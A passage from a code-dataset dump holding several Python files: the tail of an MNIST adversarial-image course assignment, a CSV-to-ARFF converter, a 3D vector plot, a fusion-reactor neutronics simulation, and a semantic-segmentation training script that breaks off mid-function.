norm_custom(data)\n with torch.no_grad():\n output = model(data_norm)\n outSoftMax = F.softmax(output, dim=1)\n out_max = outSoftMax.max(axis=1)\n # print(indices)\n out_arg_max = out_max[1].cpu().numpy()\n indices = out_max[0].detach().cpu().numpy().argsort()\n\n #For finding S\n Sarray = []\n adv_images1 = data_norm.squeeze().detach().cpu().numpy()\n # labels1 = out_arg_max\n # label_indices = np.where(labels1 == labelCount)[0]\n # a_i = adv_images1[label_indices,:,:]\n a_i = adv_images1\n for k in range(len(a_i)):\n image= a_i[k,:,:]\n Sarray.append(np.min(np.sqrt(np.sum(np.square(np.subtract(given_dataset, np.tile(np.expand_dims(image, axis=0), [1000,1,1]))),axis=(1,2)))))\n\n sSortIndex = np.asarray(Sarray).argsort()\n\n sValitem=0\n image_iter = 0\n idx = 99\n while image_iter < 10 and idx >= 0:\n\n if out_arg_max[sSortIndex[idx].item()].item() == labelCount: #Assuming the perturbed image wrongly classifies with high prob\n adv_imagesList = torch.cat([adv_imagesList, data_norm[sSortIndex[idx].item()]], dim=0)\n softMaxList.append(out_max[0][sSortIndex[idx].item()].item())\n # sValitem = sValitem+ Sarray[sSortIndex[idx].item()]\n\n\n # targeted_class_labelsList.append(originalLabel)\n # image_namesList.append(f'sasi_{image_iter}_{out_arg_max[indices[idx].item()].item()}_{output[indices[idx].item()][out_arg_max[indices[idx].item()].item()].item()}')\n image_iter +=1\n idx -= 1\n # print(\"Sval of \" + str(labelCount) + \" : \" + str(sValitem/len(Sarray)))\n\n # # For epsilon adjustment\n # softmaxIndex = sorted(range(len(softMaxList)), key=softMaxList.__getitem__)\n #\n # if(len(softMaxList)>=10):\n # if softMaxList[softmaxIndex[len(softMaxList)-10]] > 0.8:\n # epsilonarr[labelCount] = 0\n # print(\"Epsilon stopped for \" + str(labelCount))\n\n remove_files_in_dir(os.path.join(os.getcwd(), f'adv_imgs_{labelCount}'))\n # os.mkdir(f'adv_imgs_{labelCount}')\n # for idx, img in enumerate(adv_imagesList):\n # img_t = (img.detach().cpu().numpy() * std[0] + mean[0]) * 255\n # im = Image.fromarray(img_t.reshape(28, 28).astype('uint8'), mode='L')\n # im.save(f'adv_imgs_{labelCount}/i_{idx}_{softMaxList[idx]}.jpg')\n\n # pixels = np.array((img * 255).cpu().detach().numpy(), dtype='int')\n # pixels = pixels.reshape((28, 28))\n # plt.imsave(\n # f'adv_imgs_{labelCount}/sasi_{idx}_{softMaxList[idx]}.jpeg',\n # pixels)\n\n\n\n #Sort the image list adn indices\n adv_imagesList4dim = adv_imagesList[:,None,:, :]\n with torch.no_grad():\n outputAdvList = model(adv_imagesList4dim)\n outSoftMaxAdvList = F.softmax(outputAdvList, dim=1)\n outAdvMax = outSoftMaxAdvList.max(axis=1)\n indicesAdvList = outAdvMax[0].detach().cpu().numpy().argsort()\n outAdvArgMax = outAdvMax[1].cpu().numpy()\n\n for idx, img in enumerate(adv_imagesList):\n img_t = (img.detach().cpu().numpy() * std[0] + mean[0]) * 255\n im = Image.fromarray(img_t.reshape(28, 28).astype('uint8'), mode='L')\n im.save(f'adv_imgs_{labelCount}/i_{idx}_{outAdvMax[0][idx].item()}_{outAdvArgMax[idx].item()}.jpg')\n\n #For finding final 10 based on S score\n FinalSarray = []\n Finaladv_images1 = adv_imagesList4dim.squeeze().detach().cpu().numpy()\n # labels1 = out_arg_max\n # label_indices = np.where(labels1 == labelCount)[0]\n # a_i = adv_images1[label_indices,:,:]\n Finala_i = Finaladv_images1\n for k in range(len(Finala_i)):\n Finalimage = Finala_i[k, :, :]\n FinalSarray.append(np.min(np.sqrt(\n np.sum(np.square(np.subtract(given_dataset, np.tile(np.expand_dims(Finalimage, axis=0), [1000, 1, 1]))),\n axis=(1, 2)))))\n\n FinalsSortIndex = np.asarray(FinalSarray).argsort()\n\n image_iter_advlist = 0\n idx_advList = len(adv_imagesList4dim)-1\n SvalIndividual= 0\n while image_iter_advlist < 10 and idx_advList >= 0:\n\n if (outAdvArgMax[FinalsSortIndex[idx_advList].item()].item() == labelCount) & (outAdvMax[0][FinalsSortIndex[idx_advList].item()].item() > 0.8):\n adv_images.append(adv_imagesList4dim[FinalsSortIndex[idx_advList]])\n totalSoftmaxList.append(outAdvMax[0][FinalsSortIndex[idx_advList].item()].item())\n maxIndex.append(outAdvMax[1][FinalsSortIndex[idx_advList].item()].item())\n Sval = Sval + FinalSarray[FinalsSortIndex[idx_advList].item()]\n SvalIndividual =SvalIndividual + FinalSarray[FinalsSortIndex[idx_advList].item()]\n # with torch.no_grad():\n # sfMax.append((F.softmax(model(adv_imagesList4dim[indicesAdvList[idx_advList]][:,None,:,:]), dim=1)).max(axis=1)[0].item())\n # forSoftMaxList = torch.cat([forSoftMaxList, adv_imagesList4dim[indicesAdvList[idx_advList].item()]], dim=0)\n targeted_class_labels.append(labelCount)\n image_names.append(\n f'sasi_{image_iter_advlist}_{outAdvArgMax[FinalsSortIndex[idx_advList].item()].item()}_{outSoftMaxAdvList[FinalsSortIndex[idx_advList].item()][outAdvArgMax[FinalsSortIndex[idx].item()].item()].item()}')\n image_iter_advlist += 1\n idx_advList -= 1\n # print(\"Minimum Softmax of \" + str(labelCount) + \":\" + str(\n # min(totalSoftmaxList[10 * labelCount:10 * labelCount + 10])))\n # print(\"Maximum Softmax of \" + str(labelCount) + \":\" + str(\n # max(totalSoftmaxList[10 * labelCount:10 * labelCount + 10])))\n print(SvalIndividual/10)\n targetID+=1 # break\n # print(\"Done -> \"+str(labelCount))\n # forSoftMaxList = forSoftMaxList[:,None, :, :]\n # with torch.no_grad():\n # SMoutputAdvList = model(forSoftMaxList)\n # softMaxValsFinal = F.softmax(SMoutputAdvList, dim=1)\n # sFmAX = softMaxValsFinal.max(axis=1)[0]\n print(\"S Value: \" + str(Sval/len(maxIndex)))\n if len(adv_images) < 100:\n print(\"Not enough images generated\")\n iterNum = [i + 1 for i in iterNum]\n\n return adv_images,image_names,targeted_class_labels\n\ndef main():\n # Settings\n parser = argparse.ArgumentParser()\n parser.add_argument('--batch-size', type=int, default=5)\n parser.add_argument('--no-cuda', action='store_true', default=False,help='disables CUDA training')\n parser.add_argument('--seed', type=int, default=1, metavar='S', help='random seed (default: 1)')\n parser.add_argument('--model_path', type=str, default='model/mnist_cnn.pt')\n parser.add_argument('--data_folder', type=str, default='data')\n\n\n args = parser.parse_args()\n use_cuda = not args.no_cuda and torch.cuda.is_available()\n mean = (0.1307,)\n std = (0.3081,)\n\n torch.manual_seed(args.seed)\n\n device = torch.device(\"cuda\" if use_cuda else \"cpu\")\n\n kwargs = {'num_workers': 1, 'pin_memory': True} if use_cuda else {}\n data_loader = torch.utils.data.DataLoader(\n torchvision.datasets.DatasetFolder('D:/MComp/CS5260 Deep Learning and NN-2/Assignment_1/Assignment_1/data',\n loader= numpy_loader,\n extensions= '.npy',\n transform=transforms.Compose([transforms.ToTensor(),\n transforms.Normalize(mean, std)])),\n batch_size=args.batch_size, **kwargs)\n\n model = Net().to(device)\n\n model.load_state_dict(torch.load(args.model_path))\n\n # evaluate_model_for_accuracy(model, device, data_loader)\n\n adv_images,image_names,class_labels = generate_adv_images(model, device, kwargs)\n #Implement this method to generate adv images\n #statisfying constraints mentioned in the assignment discription\n\n save_folder = 'adv_images'\n remove_files_in_dir(os.path.join(save_folder))\n\n for image,image_name,class_label in zip(adv_images,image_names,class_labels):\n for t, m, s in zip(image, mean, std):\n t.mul_(s).add_(m)\n\n image_to_save = image.squeeze().detach().cpu().numpy()\n image_to_save = 255.0 * image_to_save\n\n if np.min(image_to_save) < 0 or np.max(image_to_save) > 255:\n print('Generated adversarial image is out of range.')\n sys.exit()\n if not os.path.exists(os.path.join(save_folder,str(class_label))):\n makedirs(os.path.join(save_folder,str(class_label)))\n\n np.save(os.path.join(save_folder,str(class_label),image_name), image_to_save)\n\n evaluate_adv_images(model,device,kwargs,mean,std,data_loader)\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"mnist_code.py","file_name":"mnist_code.py","file_ext":"py","file_size_in_byte":21071,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"426299699","text":"#coding=gbk\nimport re\nimport os\n\ndef run_dir(path_original, path_saveNew):\n pathdir_original = os.listdir(path_original) # 列出原始样本文件夹下的文件名和文件夹名\n for name in pathdir_original: # 对文件名进行循环\n if os.path.isfile(path_original + \"\\\\\" + name): # 如果name是一个文件,这里传入的路径必须是绝对路径才可以判断\n # if name[-5:]=='.arff':\n # continue\n print(path_original + \"\\\\\" + name)\n if name=='del_smote_info.csv' or name=='del_cca_info.csv':\n continue\n else:\n os.rename(path_original + \"\\\\\" + name,path_original + \"\\\\\" + name[:-4]+'.arff')# 改文件名\n '''读取文件'''\n f_r = open(path_original+ \"\\\\\" + name[:-4]+'.arff', 'r')\n inData = f_r.readlines() # 读取文件数据,以列表形式返回\n numAttribute = len(re.split(r'[\\s,\\t]+', inData[0].strip())) # 属性列的个数\n dataSet = list() # 用于存储格式化之后的数据\n for line in inData:\n line = line.strip() # 将line开头和结尾的空行去掉\n strList = re.split(r'[\\s,\\t]+', line) # strList为返回的列表,列表中的元素为str类型\n '''将strList中的str类型的元素转换为float类型,方便计算'''\n numList = list()\n for item in strList:\n num = float(item)\n numList.append(num)\n dataSet.append(numList)\n f_r.close()\n '''写入文件'''\n f_w = open(path_saveNew+ \"\\\\\" + name[:-4]+'.arff', 'w')\n '''arff格式写入'''\n f_w.write('% Title: ' + path_saveNew+ \"\\\\\" + name[:-4]+'.arff' + '\\n\\n')\n f_w.write('@RELATION ' + path_saveNew+ \"\\\\\" + name[:-4]+'.arff' + '\\n\\n')\n for i in range(numAttribute - 1):\n f_w.write('@ATTRIBUTE ' + str(i + 1) + ' NUMERIC\\n')\n f_w.write('@ATTRIBUTE class {0,1}\\n\\n')\n f_w.write('@data\\n')\n for i in range(len(dataSet)): # 因为之前在第一行加了12345.。。所以要删去\n if i == -1:\n continue\n else:\n for j in range(len(dataSet[i])):\n if j < len(dataSet[i]) - 1:\n f_w.write(str(dataSet[i][j]) + ',')\n else:\n f_w.write(str(int(dataSet[i][j])))\n f_w.write('\\n')\n f_w.close()\n\n else: # 如果name是一个文件夹\n path1 = path_original + \"\\\\\" + name # 更新原始数据集路径\n os.mkdir(path_saveNew + \"\\\\\" + name) # 创建和原始数据集文件夹一致的文件夹,用于保存采样的结果\n path2 = path_saveNew + \"\\\\\" + name # 更新保存数据的路径为新创建的文件夹\n run_dir(path1, path2) # 调用循环采样的方法,循环调用\nif __name__ == '__main__':\n\n path_original=\"E:\\Papers_dataset\\ResempledDataSet\\CCA_all_1_arff\"\n path_saveNew=\"E:\\Papers_dataset\\ResempledDataSet\\CCA_all_2_arff\"\n run_dir(path_original,path_saveNew)","sub_path":"LearningText/toArff.py","file_name":"toArff.py","file_ext":"py","file_size_in_byte":3254,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"404057602","text":"import matplotlib\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom labellines import labelLine, labelLines\n\nax = plt.axes()\n\n\n# Ensure that the next plot doesn't overwrite the first plot\npoint = np.array([0, 0, 0])\nnormal = np.array([1, 0, 0])\n\n# a plane is a*x+b*y+c*z+d=0\n# [a,b,c] is the normal. Thus, we have to calculate\n# d and we're set\nd = -point.dot(normal)\n\n# create x,y\n# zz, yy = np.meshgrid(range(-2, 2, 0.5), range(-2, 2, 1))\nzz, yy = np.meshgrid(np.linspace(-2., 2., num=5), np.linspace(-2., 2., num=5))\nxx = yy*0\n# calculate corresponding z\nz = (-normal[0] * xx - normal[1] * yy - d) * 1. /normal[2]\n\n# plot the surface\nplt3d = plt.subplot(projection='3d')\nplt3d.plot_wireframe(0, yy, zz)\nplt3d.quiver(0, 0, 0, 1., 0, 0., colors = 'black', linewidths=2, arrow_length_ratio=0.2)\nplt3d.text(1, 0, 0, \"U=Vector $(1,1,0)$\")\nplt3d.text(0, -2, 2.5, \"$U^{\\perp}$=The Plane $x=0$\", (1,1,1.5))\n# plt3d.text(5, 5, 5, \"(5,5,5)\")\nplt3d.set_xticks(range(-2, 3))\nplt3d.set_yticks(range(-2, 3))\nplt3d.set_zticks(range(-2, 3))\nplt3d.set_xlim([-2,2])\nplt3d.set_ylim([-2,2])\nplt3d.set_zlim([-2,2])\nplt3d.set_xlabel('X axis')\nplt3d.set_ylabel('Y axis')\nplt3d.set_zlabel('Z axis')\n\nplt.show()\n","sub_path":"code/graphs/vector-u-and-its-orthogonal-complement-plane-u-perp.py","file_name":"vector-u-and-its-orthogonal-complement-plane-u-perp.py","file_ext":"py","file_size_in_byte":1197,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"558785659","text":"\"\"\"This example makes a reactor geometry, neutronics model and performs a TBR\nsimulation. A selection of materials are used from refrenced sources to\ncomplete the neutronics model.\"\"\"\n\nimport neutronics_material_maker as nmm\nimport openmc\nimport paramak\n\n\ndef make_model_and_simulate():\n \"\"\"Makes a neutronics Reactor model and simulates the TBR with specified materials\"\"\"\n\n # based on\n # http://www.euro-fusionscipub.org/wp-content/uploads/WPBBCP16_15535_submitted.pdf\n firstwall_radial_thickness = 3.0\n firstwall_armour_material = \"tungsten\"\n firstwall_coolant_material = \"He\"\n firstwall_structural_material = \"eurofer\"\n firstwall_armour_fraction = 0.106305\n firstwall_coolant_fraction = 0.333507\n firstwall_coolant_temperature_k = 400\n firstwall_coolant_pressure_Pa = 8e6\n firstwall_structural_fraction = 0.560188\n\n firstwall_material = nmm.Material.from_mixture(\n name=\"firstwall_mat\",\n materials=[\n nmm.Material.from_library(\n name=firstwall_coolant_material,\n temperature=firstwall_coolant_temperature_k,\n pressure=firstwall_coolant_pressure_Pa,\n ),\n nmm.Material.from_library(name=firstwall_structural_material),\n nmm.Material.from_library(name=firstwall_armour_material),\n ],\n fracs=[\n firstwall_coolant_fraction,\n firstwall_structural_fraction,\n firstwall_armour_fraction,\n ],\n percent_type=\"vo\"\n )\n\n # based on\n # https://www.sciencedirect.com/science/article/pii/S2352179118300437\n blanket_rear_wall_coolant_material = \"H2O\"\n blanket_rear_wall_structural_material = \"eurofer\"\n blanket_rear_wall_coolant_fraction = 0.3\n blanket_rear_wall_structural_fraction = 0.7\n # units of Kelvin, equivalent 200 degrees C\n blanket_rear_wall_coolant_temperature = 473.15\n blanket_rear_wall_coolant_pressure = 1e6 # units of Pa\n\n blanket_rear_wall_material = nmm.Material.from_mixture(\n name=\"blanket_rear_wall_mat\",\n materials=[\n nmm.Material.from_library(\n name=blanket_rear_wall_coolant_material,\n temperature=blanket_rear_wall_coolant_temperature,\n pressure=blanket_rear_wall_coolant_pressure,\n ),\n nmm.Material.from_library(\n name=blanket_rear_wall_structural_material),\n ],\n fracs=[\n blanket_rear_wall_coolant_fraction,\n blanket_rear_wall_structural_fraction,\n ],\n percent_type=\"vo\")\n\n # based on\n # https://www.sciencedirect.com/science/article/pii/S2352179118300437\n blanket_lithium6_enrichment_percent = 60\n blanket_breeder_material = \"Li4SiO4\"\n blanket_coolant_material = \"He\"\n blanket_multiplier_material = \"Be\"\n blanket_structural_material = \"eurofer\"\n blanket_breeder_fraction = 0.15\n blanket_coolant_fraction = 0.05\n blanket_multiplier_fraction = 0.6\n blanket_structural_fraction = 0.2\n blanket_breeder_packing_fraction = 0.64\n blanket_multiplier_packing_fraction = 0.64\n blanket_coolant_temperature_k = 773.15\n blanket_coolant_pressure_Pa = 1e6\n blanket_breeder_temperature_k = 873.15\n blanket_breeder_pressure_Pa = 8e6\n\n blanket_material = nmm.Material.from_mixture(\n name=\"blanket_mat\",\n materials=[\n nmm.Material.from_library(\n name=blanket_coolant_material,\n temperature=blanket_coolant_temperature_k,\n pressure=blanket_coolant_pressure_Pa,\n ),\n nmm.Material.from_library(name=blanket_structural_material),\n nmm.Material.from_library(\n name=blanket_multiplier_material,\n packing_fraction=blanket_multiplier_packing_fraction,\n ),\n nmm.Material.from_library(\n name=blanket_breeder_material,\n enrichment=blanket_lithium6_enrichment_percent,\n packing_fraction=blanket_breeder_packing_fraction,\n temperature=blanket_breeder_temperature_k,\n pressure=blanket_breeder_pressure_Pa,\n ),\n ],\n fracs=[\n blanket_coolant_fraction,\n blanket_structural_fraction,\n blanket_multiplier_fraction,\n blanket_breeder_fraction,\n ],\n percent_type=\"vo\"\n )\n\n # based on\n # https://www.sciencedirect.com/science/article/pii/S2352179118300437\n divertor_coolant_fraction = 0.57195798876\n divertor_structural_fraction = 0.42804201123\n divertor_coolant_material = \"H2O\"\n divertor_structural_material = \"tungsten\"\n divertor_coolant_temperature_k = 423.15 # equivalent to 150 degrees C\n divertor_coolant_pressure_Pa = 5e6\n\n divertor_material = nmm.Material.from_mixture(\n name=\"divertor_mat\",\n materials=[\n nmm.Material.from_library(\n name=divertor_coolant_material,\n temperature=divertor_coolant_temperature_k,\n pressure=divertor_coolant_pressure_Pa,\n ),\n nmm.Material.from_library(name=divertor_structural_material),\n ],\n fracs=[divertor_coolant_fraction, divertor_structural_fraction],\n percent_type=\"vo\"\n )\n\n # based on\n # https://pdfs.semanticscholar.org/95fa/4dae7d82af89adf711b97e75a241051c7129.pdf\n center_column_shield_coolant_fraction = 0.13\n center_column_shield_structural_fraction = 0.57\n center_column_shield_coolant_material = \"H2O\"\n center_column_shield_structural_material = \"tungsten\"\n center_column_shield_coolant_temperature_k = 423.15 # equivalent to 150 degrees C\n center_column_shield_coolant_pressure_Pa = 5e6\n\n center_column_shield_material = nmm.Material.from_mixture(\n name=\"center_column_shield_mat\",\n materials=[\n nmm.Material.from_library(\n name=center_column_shield_coolant_material,\n temperature=center_column_shield_coolant_temperature_k,\n pressure=center_column_shield_coolant_pressure_Pa,\n ),\n nmm.Material.from_library(\n name=center_column_shield_structural_material),\n ],\n fracs=[\n center_column_shield_coolant_fraction,\n center_column_shield_structural_fraction,\n ],\n percent_type=\"vo\")\n\n # based on\n # https://pdfs.semanticscholar.org/95fa/4dae7d82af89adf711b97e75a241051c7129.pdf\n inboard_tf_coils_conductor_fraction = 0.57\n inboard_tf_coils_coolant_fraction = 0.05\n inboard_tf_coils_structure_fraction = 0.38\n inboard_tf_coils_conductor_material = \"copper\"\n inboard_tf_coils_coolant_material = \"He\"\n inboard_tf_coils_structure_material = \"SS_316L_N_IG\"\n inboard_tf_coils_coolant_temperature_k = 303.15 # equivalent to 30 degrees C\n inboard_tf_coils_coolant_pressure_Pa = 8e6\n\n inboard_tf_coils_material = nmm.Material.from_mixture(\n name=\"inboard_tf_coils_mat\",\n materials=[\n nmm.Material.from_library(\n name=inboard_tf_coils_coolant_material,\n temperature=inboard_tf_coils_coolant_temperature_k,\n pressure=inboard_tf_coils_coolant_pressure_Pa,\n ),\n nmm.Material.from_library(\n name=inboard_tf_coils_conductor_material),\n nmm.Material.from_library(\n name=inboard_tf_coils_structure_material),\n ],\n fracs=[\n inboard_tf_coils_coolant_fraction,\n inboard_tf_coils_conductor_fraction,\n inboard_tf_coils_structure_fraction,\n ],\n percent_type=\"vo\")\n\n # makes the 3d geometry\n my_reactor = paramak.BallReactor(\n inner_bore_radial_thickness=1,\n inboard_tf_leg_radial_thickness=30,\n center_column_shield_radial_thickness=60,\n divertor_radial_thickness=50,\n inner_plasma_gap_radial_thickness=30,\n plasma_radial_thickness=300,\n outer_plasma_gap_radial_thickness=30,\n firstwall_radial_thickness=firstwall_radial_thickness,\n # http://www.euro-fusionscipub.org/wp-content/uploads/WPBBCP16_15535_submitted.pdf\n blanket_radial_thickness=100,\n blanket_rear_wall_radial_thickness=3,\n elongation=2.75,\n triangularity=0.5,\n number_of_tf_coils=16,\n rotation_angle=360,\n )\n\n source = openmc.Source()\n # sets the location of the source to x=0 y=0 z=0\n source.space = openmc.stats.Point((my_reactor.major_radius, 0, 0))\n # sets the direction to isotropic\n source.angle = openmc.stats.Isotropic()\n # sets the energy distribution to 100% 14MeV neutrons\n source.energy = openmc.stats.Discrete([14e6], [1])\n\n # makes the neutronics material\n neutronics_model = paramak.NeutronicsModel(\n geometry=my_reactor,\n source=source,\n materials={\n 'inboard_tf_coils_mat': inboard_tf_coils_material,\n 'center_column_shield_mat': center_column_shield_material,\n 'divertor_mat': divertor_material,\n 'firstwall_mat': firstwall_material,\n 'blanket_mat': blanket_material,\n 'blanket_rear_wall_mat': blanket_rear_wall_material},\n cell_tallies=['TBR'],\n simulation_batches=5,\n simulation_particles_per_batch=1e4,\n )\n\n # starts the neutronics simulation\n neutronics_model.simulate()\n\n # prints the simulation results to screen\n print('TBR', neutronics_model.results['TBR'])\n\n\nif __name__ == \"__main__\":\n make_model_and_simulate()\n","sub_path":"examples/example_neutronics_simulations/segmented_blanket_ball_reactor.py","file_name":"segmented_blanket_ball_reactor.py","file_ext":"py","file_size_in_byte":9592,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"368644314","text":"import torch\nimport torch.utils as utils\nimport torchvision\nfrom torchvision import transforms\nfrom torch import nn\nfrom torch import backends\nfrom torchvision import datasets\nfrom torchvision.transforms.functional import to_pil_image\nimport matplotlib.pyplot as plt\nfrom matplotlib import pyplot\nfrom PIL import Image\nimport numpy as np\nimport argparse\nimport os\nimport math\nimport time as timer\nfrom datetime import datetime\nfrom torch.utils.tensorboard import SummaryWriter\nfrom glob import glob\nfrom skimage import io\n\nimport imgaug as ia\nimport imgaug.augmenters as iaa\n\n# Reproducibility: asignar la misma seed a todas las librerías para que a ejecuciones iguales obtengamos\n# resultados iguales\ntorch.manual_seed(1)\nif torch.cuda.is_available():\n torch.cuda.manual_seed_all(1)\nnp.random.seed(1)\n#torch.backends.cudnn.deterministic = True\n#torch.backends.cudnn.benchmark = False\ntorch.backends.cudnn.enabled = True\n\nfrom Dataset import MyDataset\nimport utils as aux\nimport metrics as metrics\nfrom UNet import UNet\nfrom UNetModes import UNetFull\n\n\ndef main(opt, model_version, ds_version, data_augmentation, inverted_freq, weather):\n\n params = {'num_epochs': 60,\n 'batch_size': 10,\n 'num_classes': 19,\n 'start_features':32,\n 'adam_learning_rate': 1E-3,\n 'adam_aux_learning_rate': 5E-4,\n 'adam_weight_decay': 1E-4,\n 'sgd_learning_rate': 1E-1,\n 'sgd_weight_decay': 1E-4,\n 'sgd_momentum': 0.9,\n 'device': torch.device(\"cuda\"),\n 'dataset_url': '/home/jupyter/it6/utils/',\n 'log_dir': '/home/jupyter/it6/runs/',\n 'file_suffix':'_split_urls'\n }\n\n params['device'] = torch.device(\"cuda\") if torch.cuda.is_available() else 'cpu'\n da = 'da.' if data_augmentation == 'y' else ''\n inv = 'inv.' if inverted_freq == 'y' else ''\n we = 'we' if weather == 'y' else ''\n experiment_id = opt + '.' + model_version + '.' + ds_version + \".\"+ da + inv + we\n\n #We include the set of parameters we are working with in this experiment\n print(params)\n # Creamos las transformaciones para las imagenes y targets\n #Creamos las listas para las transformaciones\n joint_transformations, joint_transformations_vt, img_transformations, img_transformations_vt = [], [], [], []\n\n #Añadimos el Resize\n joint_transformations.append(aux.Resize(256,512))\n joint_transformations_vt.append(aux.Resize(256,512))\n\n #En caso de Data Augmentation, se añade un Random Horizontal Flip y el ajuste de parametros de imagen\n if data_augmentation == \"y\":\n print('set Data Augmentation\\n')\n joint_transformations.append(aux.RandomHorizontalFlip())\n img_transformations.append(torchvision.transforms.ColorJitter(brightness=0.1, contrast=0.1, saturation=0.1, hue=0.1))\n\n if weather == 'y':\n print('set weather\\n')\n img_transformations.append(aux.Weather()) # La transformacion online para VT la haremos en el Dataset\n\n #añadimos la transformacion final para tensor en las img\n img_transformations.append(torchvision.transforms.ToTensor())\n img_transformations_vt.append(torchvision.transforms.ToTensor())\n\n #In the case of DeepLabv3, we apply the recommended normalization\n if model_version == 'deeplab':\n mean = [0.485, 0.456, 0.406]\n std = [0.229, 0.224, 0.225]\n img_transformations.append(torchvision.transforms.Normalize(mean, std))\n img_transformations_vt.append(torchvision.transforms.Normalize(mean, std))\n\n #Aplicamos la transformacion conjunta sobre img y target\n joint_transforms = aux.JointCompose(joint_transformations)\n joint_transforms_vt = aux.JointCompose(joint_transformations_vt)\n\n #Aplicamos solo la transformacion sobre img\n img_transforms = torchvision.transforms.Compose(img_transformations)\n img_transforms_vt = torchvision.transforms.Compose(img_transformations_vt)\n\n #Definimos temporizadores\n #Arrancamos el temporizador\n start = torch.cuda.Event(enable_timing=True)\n end = torch.cuda.Event(enable_timing=True)\n start_total = torch.cuda.Event(enable_timing=True)\n end_total = torch.cuda.Event(enable_timing=True)\n\n\n # Creamos los datasets y dataloaders\n train_dataset = MyDataset(version=ds_version, split='train', joint_transform=joint_transforms, img_transform=img_transforms, url_csv_file=params['dataset_url'], file_suffix=params['file_suffix'])\n train_loader = utils.data.DataLoader(train_dataset, batch_size=params['batch_size'], shuffle=True, num_workers=4)\n\n val_dataset = MyDataset(version=ds_version, split='val', joint_transform=joint_transforms_vt, img_transform=img_transforms_vt, url_csv_file=params['dataset_url'], file_suffix=params['file_suffix'], add_weather= weather == 'y')\n val_loader = utils.data.DataLoader(val_dataset, batch_size=params['batch_size'], shuffle=False, num_workers=4)\n\n test_dataset = MyDataset(version=ds_version, split='test', joint_transform=joint_transforms_vt, img_transform=img_transforms_vt, url_csv_file=params['dataset_url'], file_suffix=params['file_suffix'], add_weather= weather == 'y')\n test_loader = utils.data.DataLoader(test_dataset, batch_size=params['batch_size'], shuffle=False, num_workers=4)\n\n def train_one_epoch(train_loader, net, optimizer, criterion, hparams):\n\n # Activate the train=True flag inside the model\n net.train()\n\n device = hparams['device']\n batch_size = hparams['batch_size']\n train_loss, train_accs = 0, 0\n train_iou = {}\n times_per_step_iteration = []\n times_per_metric_iteration = []\n times_per_iteration = []\n for batch_index, (img, target) in enumerate(train_loader):\n #Arrancamos temporizador general\n start_total.record()\n img, target = img.to(device), target.to(device)\n optimizer.zero_grad()\n\n # Arrancamos temporizador para inferencia\n start.record()\n\n if model_version == 'deeplab':\n output = net(img)['out']\n else:\n output = net(img)\n\n target = target.long()\n\n\n loss = criterion(output, target)\n loss.backward()\n optimizer.step()\n\n pred = aux.get_predicted_image(output)\n\n #Paramos temporizador de inferencia\n end.record()\n torch.cuda.synchronize()\n times_per_step_iteration.append(start.elapsed_time(end))\n\n # Accuracy\n #Arrancamos temporizador para métricas\n start.record()\n\n # Desvinculamos el valor de los nuevos targets y los pasamos a CPU para calcular las métricas\n output, target, pred = output.detach().cpu(), target.detach().cpu(), pred.detach().cpu()\n train_loss += loss.item()\n # Devuelve values, indices. Los indices son el nº de feature map (clase) en la que se encuentra el valor más alto en el pixel\n train_accuracy = metrics.calculate_accuracy(output, target) #, predicted\n train_accs += train_accuracy\n\n\n iou_inds = metrics.calculate_iou(pred, target)\n for key in iou_inds:\n if key not in train_iou:\n train_iou[key] = iou_inds[key]\n else:\n train_iou[key] += iou_inds[key]\n\n #Paramos temporizador para métricas\n end.record()\n torch.cuda.synchronize()\n times_per_metric_iteration.append(start.elapsed_time(end))\n\n #Paramos temporizador general\n end_total.record()\n torch.cuda.synchronize()\n times_per_iteration.append(start_total.elapsed_time(end))\n\n avg_time_taken = sum(times_per_iteration)/len(times_per_iteration)\n avg_time_step_taken = sum(times_per_step_iteration)/len(times_per_step_iteration)\n avg_time_metrics_taken = sum(times_per_metric_iteration)/len(times_per_metric_iteration)\n\n\n print('Average Time spent total: {:.02f}s'.format(avg_time_taken*1e-3))\n print('Average Time spent by steps: {:.02f}s'.format(avg_time_step_taken*1e-3))\n print('Average Time spent by metrics: {:.02f}s'.format(avg_time_metrics_taken*1e-3))\n print('Average Time spent by data load: {:.02f}s'.format(avg_time_taken*1e-3-avg_time_step_taken*1e-3-avg_time_metrics_taken*1e-3))\n\n\n train_loss = train_loss / (len(train_loader.dataset) / batch_size)\n train_accs = 100 * (train_accs / (len(train_loader.dataset) / batch_size))\n train_iou = metrics.convert_batched_iou(train_iou, (len(train_loader.dataset) / batch_size))\n mIoU = metrics.get_mIoU(train_iou)\n mIoU_desc = metrics.miou_to_string(train_iou)\n return train_loss, train_accs, mIoU, mIoU_desc\n\n\n def val_one_epoch(val_loader, net):\n\n net.eval()\n device = params['device']\n batch_size = params['batch_size']\n val_loss = 0\n val_acc = 0\n val_iou = {}\n pred = 0\n with torch.no_grad():\n for batch_index, (img, target) in enumerate(val_loader):\n img, target = img.to(device), target.to(device)\n\n if model_version == 'deeplab':\n output = net(img)['out']\n else:\n output = net(img)\n \n if batch_index == 0:\n first_pred = output\n \n target = target.long()\n\n loss = criterion(output, target).item()\n val_loss += loss\n\n pred = aux.get_predicted_image(output)\n # Desvinculamos el valor de los nuevos targets y los pasamos a CPU para calcular las métricas\n output, target, pred = output.detach().cpu(), target.detach().cpu(), pred.detach().cpu()\n\n # compute number of correct predictions in the batch\n val_accuracy = metrics.calculate_accuracy(output, target)\n val_acc += val_accuracy\n iou_inds = metrics.calculate_iou(pred, target)\n\n for key in iou_inds:\n if key not in val_iou:\n val_iou[key] = iou_inds[key]\n else:\n val_iou[key] += iou_inds[key]\n #print('Batch index: {}, loss: {}, accuracy: {:.2f}%'.format(batch_index, loss, val_accuracy * 100))\n # Average acc across all correct predictions batches now\n val_loss = val_loss / (len(val_loader.dataset) / batch_size)\n val_acc = 100 * (val_acc / (len(val_loader.dataset) / batch_size))\n val_iou = metrics.convert_batched_iou(val_iou, (len(val_loader.dataset) / batch_size))\n mIoU = metrics.get_mIoU(val_iou)\n\n #print('\\nValidation set: Average loss: {:.4f}, Accuracy: {:.0f}%, mIoU: {:.4f}\\n'.format(val_loss, val_acc, mIoU))\n mIoU_desc = metrics.miou_to_string(val_iou)\n return val_loss, val_acc, mIoU, 